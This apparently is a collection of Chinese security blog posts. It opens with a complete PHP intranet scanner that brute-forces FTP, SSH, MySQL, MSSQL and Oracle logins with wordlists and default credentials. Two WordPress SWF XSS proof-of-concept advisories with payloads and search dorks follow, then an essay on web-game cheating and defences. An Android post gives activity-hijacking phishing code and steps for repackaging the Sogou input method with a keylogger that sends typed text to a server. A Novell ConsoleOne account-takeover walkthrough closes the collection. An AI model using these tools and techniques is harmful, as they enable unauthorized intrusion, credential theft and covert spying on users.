PHP内网扫描小脚本+密码破解小脚本/PHP Intranet scanner+password cracker

前几天没事蛋疼的时候写的,可以扫描B段IP外加根据字典破解一些服务的密码,比如FTP,SSH,MySQL,MSSQL,Oracle之类,会自动尝试空密码和弱密码,比如ftp的匿名登录,mssql的sa空密码,oracle的默认密码之类。

扫描和破解均为单线程,多线程需要pcntl支持,因为PHP默认不带这个功能,所以没加多线程,慢点就慢吧

因为Web服务器超时的关系,所以建议每次扫50个IP比较好。


<?php

#Class B PHP port scanner by anthrax @ insight-labs.org
session_start();
set_time_limit(0);
ob_implicit_flush(True);
ob_end_flush();

function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}
function crackpwd($addr,$port,$userlist,$passlist,$type){
switch($type){

case 'ftp':
$ftp=@ftp_connect($addr,$port);
if(@ftp_login($ftp,'anonymous','safasf#asfs.com')){
echo "$addr".':'.$port.' Anonymous Login enabled'.'<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@ftp_login($ftp,$username,$pass)){
echo "FTP $addr".':'.$port.'Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
ftp_close($ftp);
break;

case 'mysql':

if(@mysql_connect($addr.':'.$port, 'root', '')){
echo 'MySQL Username: root EMPTY PASSWORD<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@mysql_connect($addr.':'.$port, $username, $pass)){
echo 'MySQL Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'mssql':
if(@mssql_connect($addr,'sa','')){
echo 'MSSQL Username: sa EMPTY PASSWORD<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@mssql_connect($addr, $username, $pass)){
echo 'MSSQL Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'oracle':
if(@oci_connect('SCOTT','TIGER',$addr)){
echo 'Oracle Username SCOTT pwd: TIGER';
}
if(@oci_connect('SYSTEM','MANAGER',$addr)){
echo 'Oracle Username SYSTEM pwd: MANAGER';
}
if(@oci_connect('DBSNMP','DBSNMP',$addr)){
echo 'Oracle Username DBSNMP pwd: DBSNMP';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@oci_connect($username,$pass,$addr)){
echo 'Oracle Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'ssh':
$ssh=@ssh2_connect($addr,'22');
foreach($userlist as $username){
foreach($passlist as $pass){
if(@ssh2_auth_password($ssh,$username,$pass)){
echo 'SSH Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;
}
}

function scanip($ip,$timeout){
$portarr=array(
'21'=>'FTP',
'22'=>'SSH',
'23'=>'Telnet',
'25'=>'SMTP',
'79'=>'Finger',
'80'=>'HTTP',
'81'=>'HTTP/Proxy',
'110'=>'POP3',
'135'=>'MS Netbios',
'139'=>'MS Netbios',
'143'=>'IMAP',
'162'=>'SNMP',
'389'=>'LDAP',
'443'=>'HTTPS',
'445'=>'MS SMB',
'873'=>'rsync',
'1080'=>'Proxy/HTTP Server',
'1433'=>'MS SQL Server',
'2433'=>'MS SQL Server Hidden',
'1521'=>'Oracle DB Server',
'1522'=>'Oracle DB Server',
'3128'=>'Squid Cache Server',
'3129'=>'Squid Cache Server',
'3306'=>'MySQL Server',
'3307'=>'MySQL Server',
'3500'=>'Squid Cache Server',
'3389'=>'MS Terminal Service',
'5800'=>'VNC Server',
'5900'=>'VNC Server',
'8080'=>'Proxy/HTTP Server',
'10000'=>'Webmin',
'11211'=>'Memcached'

);
foreach($portarr as $port=>$name){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' '.$name.' is open<br/>';
@ob_flush();
@flush();

if(isset($_SESSION['crack'])||$_SESSION['crack']==true){
switch($port){

case '21':
$type='ftp';
break;

case '22':
$type='ssh';
break;

case '1433':
$type='mssql';
break;

case '1521':
case '1522':
$type='oracle';
break;

case '3306':
case '3307':
$type='mysql';
break;

default:
$type=false;
}
if($type){
global $userarr,$passarr;
crackpwd($ip,$port,$userarr,$passarr,$type);

@ob_flush();
@flush();
}

}//if
}
}
}

if(!isset($_SESSION['startip'])){
$_SESSION['startip']='Start IP';
$_SESSION['endip']='End IP';
$_SESSION['username']='root
admin';
$_SESSION['password']='123456
root
123123
admin
qwerty';
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="'.$_SESSION['startip'].'" />
<input type="text" name="endip" value="'.$_SESSION['endip'].'" />
Timeout<input type="text" name="timeout" value="0.1" /><br/>
Auto Crack Password on MSSQL,MYSQL,Oracle,SSH,FTP
<input type="checkbox" name="crack" value="Crack password"><br/>
<textarea rows="10" cols="30" name="username">'.$_SESSION['username'].'
</textarea>
<textarea rows="10" cols="30" name="password">'.$_SESSION['password'].'
</textarea><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['timeout'])){
if(isset($_POST['crack'])){
global $userarr,$passarr;
$_SESSION['crack']=true;
$userarr=array_unique(explode("\n",str_replace("\r", "", $_POST['username'])));
$passarr=array_unique (explode("\n",str_replace("\r", "", $_POST['password'])));
$_SESSION['username']=$_POST['username'];
$_SESSION['password']=$_POST['password'];
}
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
$_SESSION['startip']=$startip;
$_SESSION['endip']=$endip;
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}else{
exit('Missing input');
}
?>

[CVE-2013-1464]WordPress Audio Player Plugin XSS in SWF

# Exploit Title: WordPress Audio Player Plugin XSS in SWF
# Release Date: 31/01/13
# Author: hip [Insight-Labs]
# Contact: [email protected] | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/audio-player.2.0.4.6.zip
# Vendor Homepage: http://wpaudioplayer.com/
# Tested on: XPsp3
# Affected version: 2.0.4.6 before
# Google Dork: inurl:/wp-content/plugins/audio-player/
# REF:CVE-2013-1464
———————————————————————————————————————–
# Introduction:
Audio Player is a highly configurable but simple mp3 player for all your audio needs.
————————————————————————————————————————-
# XSS – Proof Of Concept:

vulnerable path:
/wp-content/plugins/audio-player/assets/player.swf
vulnerabile parameter:playerID

POC:
/wp-content/plugins/audio-player/assets/player.swf?playerID=a\”))}catch(e){alert(1)}//

————————————————————————————————————————-
————
Patch:
————
– Vendor was notified on the 23/01/2013
– Vendor released version 2.0.4.6 on 30/01/2013 Fixed the bug
————————————————————————————————————————-

[CVE-2013-1463] WordPress wp-table-reloaded‏ plugin XSS in SWF‏

# Exploit Title: WordPress wp-table-reloaded‏ plugin XSS in SWF
# Release Date: 31/01/13
# Author: hip [Insight-Labs]
# Contact: [email protected] | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/wp-table-reloaded.latest-stable.zip
# Vendor Homepage: http://tobias.baethge.com/
# Tested on: XPsp3
# Afected version: 1.9.4 before
# Google Dork: inurl:/wp-content/plugins/wp-table-reloaded/
# REF:CVE-2013-1463
———————————————————————————————————————–
# Introduction:
WP-Table Reloaded enables you to create and manage tables,
without having to write HTML code, and it adds valuable functions for your visitors.
————————————————————————————————————————-
# XSS – Proof Of Concept:
vulnerable path:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf
vulnerabile parameter:id

piece of code:
flashvars = LoaderInfo(this.root.loaderInfo).parameters;
this.domId = flashvars.id;           <– vulnerable input

ExternalInterface.call(“ZeroClipboard.dispatch”, domId, “mouseOver”, null); <- vulnerable call

POC:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//

————————————————————————————————————————-
# Patch:
– Vendor was notified on the 23/01/2013
– Vendor released version 1.9.4 on 27/01/2013 Fixed the bug
– Reward 50 USD from white fir design on 30/01/2013
————————————————————————————————————————-

Protected: 渗透记录-日本某站(Linux)注入 ->提权 -> root

This post is password protected. To view it please enter your password below:

本站已于2013年1月18日获得了中国互联网最权威部门的认证

本站在2013年1月18日获得了GFW最高级别的认证,IP封锁认证。特留本帖做纪念。

 

Browser Security

去年9月份总结的东西了,花了一个多月的时间,里面的每个例子poc都亲自做过测试,总结的很详细。
Fuzzing的一些思想,一些poc是如何一步一步变化的。不管你菜鸟还是大牛,仔细看看总会有收获的。
文章篇幅较长,wp发不了,就放在单独的一个html页面了。
http://insight-labs.org/Browser%20Security.html

网页游戏攻与防

前言
—————————————————————————————————————————————————-

网页游戏的安全问题,在刚入职接触的时候,写过两篇比较浅显的文章《网页外挂防御有感》和《网页游戏常见外挂原理及防御》。算算时间,距离现在也有一年多了,虽然页游安全总体上并没有显著变化,没有新的攻击方法,也没有新的防御方法,我个人的工作重心也由页游安全转向了手游安全,但出于完美主义的偏执,还是希望写一篇覆盖完整的页游安全文章,希望能给页游产业一点帮助。

大纲
—————————————————————————————————————————————————-
一、协议安全(swf安全):自动封包 (重点)
二、自动游戏+加速
三、内存安全:内存修改
四、存档安全:存档修改
五、帐号安全/充值安全:盗号/低价充值
正文
—————————————————————————————————————————————————-
一、协议安全(swf安全):自动封包 (重点)
页游,最最核心的就是客户端(swf)与服务端的游戏通信了。游戏通信产生的封包,内容是否可识别,可篡改,可重放,处理逻辑是否有漏洞,都决定了这款游戏是否有重大的漏洞。

我们知道页游前端和后台的通信一般有两者方式,一种是http连接,一种是socket连接,前者适用于小型页游,例如内嵌在QQ平台的QQ农场,后者适用于大型页游。
不同的通信方式,产生的数据包格式也不一样,像HTTP AMF的可以使用charles来抓包查看,像sockets的可以使用WPE抓包查看。
以socket 通信为例,协议采用自定义格式,一般由两部分组成,包头与包体,包头一般是固定长度,包体为可变长度。包头一般是一些基本信息,例如包长度,版本号,命令号,用户ID,序列号等;包体就是操作命令对应的接收参数,参数个数不同,参数类型不同会导致包体长度不同。

只要摸清楚协议算法,即包是如何生成的,就可以构造数据包与服务器自由通话,这一后果是非常严重的。自由通话意味着你不需要老老实实的在客户端操作,一条数据包就能代替你一连串的操作,例如发送一条数据包完成一个任务,常用于快速升级,淘宝上的页游代练绝大多数都是采用的这种方式;自由通话更意味着你可以绕过客户端的逻辑判断,传任意参数给服务端。说到这里,你可能觉得只要服务端能正常处理来自客户端的参数,不出逻辑错误,不出配置错误,就万事大吉。这种想法很常见,例如上海宝开公司的某个开发就说过,我们的游戏逻辑判断都在服务端,我们没有外挂。我推测这个人应该不怎么上外网。

理想是丰满的,现实是骨感的,怎么能保证后台不将逻辑写错,策划运营不将配置弄错呢,特别是在高强度的通宵加班后。你可能说靠测试呀,中国页游行业,配给给游戏的测试人员是非常少的,相应的测试时间也是远远不足的,并且测试技术也非常需要提高,总的来说,在页游行业,能做完整协议测试的公司不多。但玩家,特别是从事外挂制作代练服务的打金工作室会“帮你”好好地彻底地做协议测试。他们会先反编译客户端上的SWF文件(缓存中的,内存中的)得到协议生成算法,制作成封包工具,遍历每个协议号,每个参数输入,让你的错误无从遁形。

我见过一个非常聪明的外挂制作者,在外挂中添加了脚本分享平台,号召大家共同摸索,将有问题的封包以脚本的方式上传以供大家下载,这种集思广益真的很妙,脚本的分享会给“找bug”精神奖励,将其帐号公布出来以供大家瞻仰,因此乐意分享的人很多。而且作者还很负责的有脚本审核机制,并支持快捷的查询。这是什么样的用户体验呀,这就是页游外挂界的app store
页游安全攻与防 - danqingdani - 碳基体
看到这里,你或许想,我保护好SWF文件,不让其逆向不就行了吗?有需求,就有满足需求的地方,市面上有不少给SWF提供加密服务的收费产品,例如Amayeta SWF Encrypt 和 DComSoft SWF Protector ,因为收费,没用过这些产品,不知道具体原理,但据了解,最常用SWF加密方式,就是破坏SWF标准文件头,通过向SWF的二进制文件的文件头写入无意义的数据,从而导致反编译软件无法正常解析SWF文件。下图是使用反编译器打开加密的SWF文件,会提示无法解析
页游安全攻与防 - danqingdani - 碳基体

我们可以对比一下采用这种加密方式的swf文件头内容:
(1)未加密swf文件

页游安全攻与防 - danqingdani - 碳基体

正常的SWF文件,文件头部是由一个三字节的标识符开始,为0×46、0×57、0×53(“FWS”)或者0×43、0×57、0×53(“CWS”)其中之一。“FWS”标识符说明该文件是未压缩的SWF文件,“CWS”标识符则说明该文件前8个字节之后(即文件长度字段之后)的全部数据为开源的标准ZLIB方式压缩

(2)加密后的SWF文件
页游安全攻与防 - danqingdani - 碳基体
很明显,文件头部变成了无意义的符号。
实现函数示例(参考http://blog.sina.com.cn/s/blog_731fdd2b01010u9k.html
页游安全攻与防 - danqingdani - 碳基体
有加密就有解密,加密的SWF文件需要还原,虽然反编译不了加密后的SWF文件,但可以反编译解密文件找到解密代码来还原加密SWF文件的文件头。(参考http://blog.sina.com.cn/s/blog_731fdd2b01010u9k.html
页游安全攻与防 - danqingdani - 碳基体
很明显,这种SWF加密方法没什么作用。于是大家想着如何用一种无法反编译的实现方法来隐藏加密算法,例如利用Alchemy能够编译C/C++代码为AS字节码但无法被反编译的特性来隐藏加密算法。其实我怀疑目前有工具将Alchemy还原成C了,例如ASV(actionscript view 2012)就号称是目前最强悍的SWF解密工具,网上都有该工具的团购消息了。
我不懂SWF的加密解密,但我知道有一条万能守则,任何加密在内存中都是解密状态的。当无法解密的时候,就从内存中查找导出吧,我们可以先使用SWF Memory Dumper从浏览器内存中导出解密并解压缩的SWF文件,再用传播程度都烂大街的硕思闪客反编译得到源码。这一方法对游戏协议安全来说,是非常非常非常悲剧的。如下图所示,包的组成结构,包中各个字段的生成算法都可以通过逆向解密SWF文件获得!
页游安全攻与防 - danqingdani - 碳基体
例如下图为游戏协议结构
页游安全攻与防 - danqingdani - 碳基体

例如下图就是游戏协议对应的命令号

页游安全攻与防 - danqingdani - 碳基体
例如下图为游戏配置表
页游安全攻与防 - danqingdani - 碳基体
一切的一切,都注定了要想完全解决协议安全问题,只有靠AS混淆了。目前有一些收费软件提供AS混淆,例如secureSWF 。但奇怪的是,没有多少页游公司实施AS混淆。
写到这里,或许你会幻想游戏协议算法不会被逆向得知,那不就完事大吉了吗?再次申明,现实是残忍的,即使不知道协议算法,照样可以修改游戏封包。我们可以通过耐心的反复操作来对比封包的不同,定位到修改点。一般使用WPE工具,修改包体。WPE工具的关键就是过滤器,查找到符合指定特征的封包,将特定的位置替换为修改的值。如下图所示,
页游安全攻与防 - danqingdani - 碳基体
除了封包篡改,最简单的连封包结构都不要猜测的就是封包重放作弊了,例如打怪是一条封包,只要反复重放该封包,就能轻易刷取经验值了。
好的协议设计,一定要考虑到防御封包篡改和封包重放,最简单的方法是在封包的某个字段加入一个序列号,该序列号包含包体完整性检验值,时间因素值,来区分封包是否是重放的,是否有被篡改。
有了好的协议设计,协议是否安全了呢?协议的实现方法在客户端SWF中,这一事实又讲安全问题引回到SWF被逆向的问题上,只要被成功逆向,一切努力都打水漂了。虽然防御艰难,但也不能放弃,一种方法不行,可以用多种方法。总的来说,为了协议安全,可以做如下措施(不仅仅从技术上):
1.好的协议设计,防重放与篡改 
2.SWF加密 ,注意加密算法的安全,最好AS混淆
3.耐心的做协议检测,开发在提交测试前,做协议测试;测试在完成了功能测试,性能测试后也要搞好协议测试;策划运营对配置表做认真的检查;
4.设计一套监控系统,监控游戏中的收益与消费,大量的刷取物品肯定会在数值变化中体现出来;
5.留意游戏论坛,游戏QQ群里是否有新漏洞的披露,外挂是否有更新;
6.频繁更换加密算法,与外挂制作者PK更新速度
二、自动游戏+加速
自动游戏,简单的说就是模拟鼠标或键盘对游戏UI的操作,代替你做重复的工作。最简单的自动游戏脚本可以使用按键精灵来制作,先对正常操作进行录制,然后编辑,设置热键,最后回放即可。程序实现中一般会有以下几个关键函数
(1)模拟键盘

VOID keybd_event(
BYTE bVk, // 虚拟键码
BYTE bScan, // 扫描码
DWORD dwFlags,
ULONG_PTR dwExtraInfo // 附加键状态
)

(2)模拟鼠标

VOID mouse_event(
DWORD dwFlags, // motion and click options
DWORD dx, // horizontal position or change
DWORD dy, // vertical position or change
DWORD dwData, // wheel movement
ULONG_PTR dwExtraInfo // application-defined information
)

自动游戏的作弊方式常见于对战刷怪类游戏,自动识别地图中怪物出现的位置,自动出招打怪,自动拾取掉落宝物。往往还会配合加速外挂,总的来说,就是靠达成那种不知疲倦(脚本操作)、准确度高(自动识别地图中UI特征)、快速(对页游就是加速flash的动画播放速度)的操作方式来快速升级。
自动游戏类型外挂的防御比较简单,增加人机识别的因素,类似于论坛避免批量注册,采用只有人类才能识别的验证码(题外话,不少网站的验证码其实可以机器识别),例如对于对战类游戏,记录每次对战的频率和操作时间特性,对异常的操作弹出图片验证,中断自动游戏。
实施图片验证的时候,要考虑到两个要素:
一是图片是否真正的机器难以识别,要预防简单的像素采集技术;
二是图片库是否及时更新,要预防图片库的遍历。
而加速外挂,也常见于对战类游戏。改变操作速度有两种情况。一种是使用变速齿轮之类的加速外挂加快flash动画播放速度,一种是速度值为游戏中的某个变量值,修改了对应的数值。
对于加快flash动画播放速度的加速外挂,我们可以通过对比客户端服务端时间是否同步来检测,当检测到异常的时候,可以弹出图片验证,中断加速。
页游安全攻与防 - danqingdani - 碳基体
对于速度由游戏中数值控制的,做好协议安全,使其无法改封包中对应的数值;做好SWF反逆向保护,使其无法修改源码中控制速度的逻辑。
三、内存安全:内存修改
修改游戏在内存中的数值是经典的单机游戏作弊方法,同样也适用于网页游戏,原因很简单,不可能每个来自客户端的数据,服务端都做验证。(看看页游公司开发前端和后台的比例吧!)以社交类网页游戏为例,其中会内嵌不少小游戏,这些小游戏可能是用来赚取游戏经验或货币等数值的,很显然,这种类型的小游戏基本就是主逻辑在客户端的单机游戏,只是最后将游戏分数上传给服务器,服务器再根据游戏分数的不同来下发相应数额的游戏货币。我们完全可以在积分上传前,在内存中查找并修改该数值。 如下图所示,用cheat engine去查找IE进程中游戏分数。
(cheat engine是我最喜欢的内存修改工具,手游上的内存修改工具和这个比起来简直是胎儿版的。该工具支持自定义格式的内存搜索,具备强大的反汇编功能,更妙的是可以直接生成外挂,特别赞的是竟然采用了游戏通关的方式来教授工具使用,我的博客中有第八关第九关通关方法)
页游安全攻与防 - danqingdani - 碳基体
程序实现一般会有以下几个关键函数
(1)读取进程数据ReadProcessMemory
(2) 查找,查找算法可以按数值类型、扫描类型及内存扫描方式来实现
例如数值类型有二进制,1字节,2字节,4字节(游戏最常用),8字节,浮点数,双浮点数,文本,字节数组,自定义(这个最牛);
例如扫描类型可以支持精确查找,模糊查找(比…大,比…小,两者之间),数值变化趋势(数值处于增加中,数值出于减少中,数值没有变动,与首次扫描数值相同,数值增加了某个指定值,数值减少了某个指定值);
例如内存扫描方式有自定义扫描起始与终止地址,同时扫描只读内存,深度扫描,快速扫描,扫描时暂停游戏
(3)写数据WriteProcessMemory
内存修改的防御,有以下几种建议:
(1)重要数值在内存中拆分存放,使其无法简单定位到(会使得游戏逻辑变复杂)
(2)默认可以修改,在服务端控制收益上线。(考虑到成本,为目前主流控制方法)
四、存档安全:存档修改
在flas在flash单机游戏时代,修改本地存档文件,是游戏作弊的重要方式,相信有不少人就用过Flash存档修改器。
页游安全攻与防 - danqingdani - 碳基体
              随着页游兴起到现在的页游繁盛,依赖于存档进行逻辑判断的设计减少了,但这块也不能完全忽略掉。总会有一些功能是需要调用本地存档的。例如登录模块中,记住密码功能,会将密码信息存储在本地,以IE浏览器为例,在C:\Documents and Settings\(你的Windows用户名)\Application Data\Macromedia \Flash Player\#SharedObjects\(些随机数字和字母)\ 文件夹下就可以看到存储密码的SOL文件,可以使用minerva工具查看,如下图所示,密码明文明文存储的,SOL文件是永久性保存的,除非手动清除,如果玩家在公共环境下登录,就会有盗号威胁。
页游安全攻与防 - danqingdani - 碳基体

也有些开发意识到了这个问题,而采用加密存储方式,一般采用md5(其实md5不是真正的加密算法)。md5解密的在线网站非常多,如下图所示,密码通过两次md5后存储,我们可以在http://www.cmd5.com/ 查到。

页游安全攻与防 - danqingdani - 碳基体

所以建议存档加密,采用自定义的加密算法,例如md5后转置再md5,等等。

五、帐号安全/充值安全:盗号/低价充值
帐号安全和充值安全不仅页游如此,所有游戏,甚至所有线上应用都如此。如果说开是个大的话题,我仅仅介绍页游中常见的威胁与防御。
(一)、帐号安全
威胁:
1.外挂盗号
例如下面号称可以无限刷取游戏货币的外挂,实际上在用户输入帐号和密码后,将信息发送给盗号者的邮箱。
页游安全攻与防 - danqingdani - 碳基体
2. 社工盗号
在游戏中获取信任,以为对方代练等好处为引诱盗取帐号。或通过获取个人信息,从密保问题下手进行盗号。
3.从游戏的帐号管理中心等web入口下手,进行盗号。
例如登录模块没有验证码或验证码实现机制漏洞,使用字典扫描批量盗号
4.传输嗅探盗号
5.利用帐号申诉流程漏洞进行盗号
例如有些申诉打分机制存在提供多次充值证明就可以取回密码的方式,先充值,再盗号。
防御:
1.安全意识宣传
2.弱口令检测
3.异地登录提醒
4.登录行为监控
5.设计好帐号相关功能,例如申诉流程
(二)、充值安全
威胁:
1.社工
在网上发帖慌称发现充值漏洞,骗取贪心网友给自己指定的帐号进行充值
页游安全攻与防 - danqingdani - 碳基体
2.利用手机充值漏洞
使用快过期的手机废卡进行充值,大多数的充值不会再次检测手机卡是否存活状态
3.利用宽带充值漏洞
盗取宽带帐号进行充值,由于不会实际影响游戏收益,顶多会出现受害者损失严重的情况下投诉带来的不好影响。
4. 真正的充值漏洞
比如说广泛采用的点卡充值,可能存在点卡被重放使用的漏洞
防御:
1.安全意识宣传
2.充值相关功能的安全检测
结论
---------------------------------------------------
总的来说,页游的各种外挂问题很普遍,端游有的它都有,但安全防御不如端游,这很大程度上是因为页游的开发周期短,生存周期也短,例如较长的神仙道游页才两年了,甚至大多数页游,只是为了短时间洗用户抢钱,因此不会投入人力物力在外挂防御方面,或许第三方的安全服务会有点市场吧,比如说他们乐意购买支持多项目的AS混淆工具。总之,页游是个浮躁的市场,只有生命周期强大的游戏,才会注意到外挂问题。
参考文章:

A new way to hack android app info

Author:[email protected]

0×01 我们能得到哪些android手机上的app敏感信息
手机上的app敏感信息
◦通讯录,通讯记录,短信
◦各种app的帐号密码,输入信息资料等
◦各种影音资料,照片资料
◦等等
0×02  我们有哪些方法可以得到他们
 通讯录,通讯记录,短信,这类信息需要我们的恶意apk在安装时申请大量敏感的权限,比如说
 <uses-permission android:name=”android.permission.READ_CONTACTS” />
  一个典型的联系人信息权限,这里需要在配置文件中声明,不然无法拿到
各种app的帐号密码,输入信息资料等,这些信息在非root情形下,非常难以获得
如果要强行获得大致有三种方式
–a.栈劫持,完整代码见附件一,下面给出示例代码
b.–部分apk会将敏感信息存入sd卡中,这里claud讲过,我就不说了
c.–部分apk的配置文件读写权限设置不当,这个比较少
–此外:我们可以把知名的apk文件重打包后再次发布,例如我们修改QQ的apk文件后再发布。
0×03 栈劫持核心代码

ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE );
List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
//枚举进程
for(RunningAppProcessInfo appProcess : appProcesses) {
//如果APP在前台
if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
//APP是否在需要劫持的列表中
if (mVictims.containsKey(appProcess.processName)) {
if(UILogin.started == 0)
{
Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName));
UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(UIIntent);
UILogin.started =1;
}

优点:不用修改目标apk,可以巧妙的骗取用户的账户密码
缺点:劫持到的界面在骗取了用户密码后,无法顺利进行下一步登录,
从而导致用户会意识到不对劲(除了极少数情况,我们弹出的界面可以把用户密码交互给正常的apk界面)

0×04 Android的apk重打包的优缺点

  略
0×05 思考别的方法
  这应该是一个非root就可以利用的技术
  这应该是一个低权限的技术
  这应该是一个通用型的技术
  这样该是一个不易被察觉的技术
  思考下,在android中apk之间是基本绝缘的,那有什么可以让我的apk访问到别的apk的敏感资源呢
  在ios中,不越狱的情况下,为什么不允许装第三方的输入法,这里是不是隐含着一些漏洞呢!!!
0×06 Android输入法的机制-流程

输入法应用是具体处理用户输入行为的应用程序。为了能够在Android的输入法框架中良好的运行,所有的输入法应用都需要继承特定的service。Android平台的输入法框架为输入法应用定义了一个基类InputMethodService。InputMethodService提供了一个输入法的标准实现。定义了输入法生命周期内的重要函数,提供给开发人员进行相应的处理。
a.  当用户触发输入法显示的时候(客户端控件获得焦点),InputMethodService启动。首先调用onCreate() 函数,该函数在输入法第一次启动的时候调用,适合用来做一些初始化的设置,与其他service相同;
b.  调用onCreateInputView()函数,在该函数中创建KeyboardView并返回;
c.  调用onCreateCandidatesView()函数,在该函数中创建候选区实现并返回;
d.  调用onStartInputView()函数来开始输入内容,
e.  输入结束后调用onFinishInput()函数来结束当前的输入,
f.  如果移动到下一个输入框则重复调用onStartInputView和onFinishInput函数;
g.  在输入法关闭的时候调用onDestroy()函数。

0×07 Android输入法的机制-细节 (重点)
a.在InputMethodService中,有几个值得注意的方法或类getCurrentInputEditorInfo() 这个方法可以获得当前     编辑框的一组对象属性EditorInfo,他有如下的关键属性
EditorInfo .hintText顾名思义即为编辑框的默认值,这个是很关键的一个属性.
EditorInfo .packageName是指这个控件所属的apk的包名,比如说手机qq中的所有编辑框的packageName都是com.tencent.qq
b.getCurrentInputConnection()这个方法可以获得当前的编辑框的一个InputConnection对象,而这个对象则有多个强大的方法可以调用
commitText(CharSequence text, int newCursorPosition),很关键的一个函数,用来向编辑框写入值getTextAfterCursor(int n, int flags)
getTextBeforeCursor(int n, int flags)

顾名思义,即是得到输入框中的字符串,n代表读取多少位,flags设为0

0×08 Android输入法的hack技术

我们可以自己实现一个输入法,在输入每一个字符的时候记录,最后在onFinishInput方法处把输入框的值发   送到服务器去可以见示例代码2中,利用android示例代码SoftKeyboard修改的间谍apk,
其中在他的源代码中只改动了两处
handleCharacter 方法最后加入SoftKeyIcefish.postInfo(this);
onFinishInput方法加入SoftKeyIcefish.start();

0×09 Android输入法的-重打包搜狗输入法

通过sougou的配置文件可以发现关键的那个InputMethodService类即为
com.sohu.inputmethod.sogou.SogouIME.smali
打开这个文件搜索committext,然后在每一个这个后面加上

invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V

即为SoftKeyIcefish.postInfo(this)

查找onFinishInput() v
第一行加上
invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V
即为
SoftKeyIcefish.start();
Apktool b打包,签名,测试

0×10 测试效果,评论
  图片见ppt
利用对输入法的重打包,来实现窃取用户信息的方式,优点在于权限要求非常之低,只要求一个网络权限就可以窃取各种各样的用户输入信息了,而反观各种输入法他们自身申请的权限已经非常之高了。而且窃取的信息中包含的hinttext和包名又可以方便的帮助我们定位到具体的apk和输入框信息
0×11 详细内容见ppt附件
 http://pan.baidu.com/share/link?shareid=134386&uk=3204812497

Novell ConsoleOne Hack Evolution

Author: [email protected]

前言: 纯干货,估计会碰到这个环境的人不多,目前也只有一个朋友和我遇到过同类环境。
|        这个是比较早的时候写的总结,在team里分享,还没公开过,
|        看freebuf上基本上渗透都是流程的东东,没有干货,就索性自己来篇吧。
|        至于Novell是啥,ConsoleOne是啥,就大家自己去搜吧,这个东东普适范围不大。

注意: 文中图片的分辨率还是很高的,大家可以通过放大网页的方式看到图片细节。

正文
首先Novell账号和groupwise账号都可以一个账号同时在不同的workstation登陆。
这样可以即使对方人员在使用账号时,我们也能同时使用该账户而不会使对方察觉到异常。
接下来是Novell ConsoleOne Hack的正文部分。

有两个前提需要注意:

1. Novell的高权限账号,具体要多大权限我没法细化,至少有足够权限编辑目标账号属性。

可以在账号Memberships属性里查看自己账号所属组别,如果发现自己账号无权编辑指定节点的账号,但自己账号本身权限足够大,可以观察指定节点的管理员属于哪些组别里,然后手动将自己账号也追加进这些组别里,便有足够权限编辑该节点的账号了。

2. ConsoleOne的版本和插件不能太老,不然会出现有些账号属性标签不会显示出来的情况。

如下图中在PC-A上的ConsoleOne就无法看到Groupwise标签,而PC-B上就能看到。
可能同时还会跟是否加载了Groupwise的gwdomain.db有关,但具体情况还没测试出来。

Novell ConsoleOne Hack可以办到的事:

A. 可修改Novell账号密码和groupwise账号密码。
B. 可通过ConsoleOne定位目标账号现在是否处于登陆状态,或该账户在哪些地方已登陆。
C. 可修改Novell账号的Login Script进行指定账号入侵。

<A> 可修改Novell账号密码和groupwise账号密码。

对指定账号双击查看属性后,Login Methods标签里可修改Novell账号的密码。

Groupwise标签里可修改Groupwise账号的密码,如果没有这个标签,情况见前提2。

<B> 可通过ConsoleOne定位目标账号现在是否处于登陆状态,或该账户在哪些地方已登陆。


对用户点右键,其中有个Remote Management选项。
如果该用户当前并没处于登陆状态,会有如下提示。

如果该用户处于登陆状态,将会有以下界面。
其中如果是同一账号多个workstation登陆的,可在IP的拉下按键那里看到其他登陆IP地址。
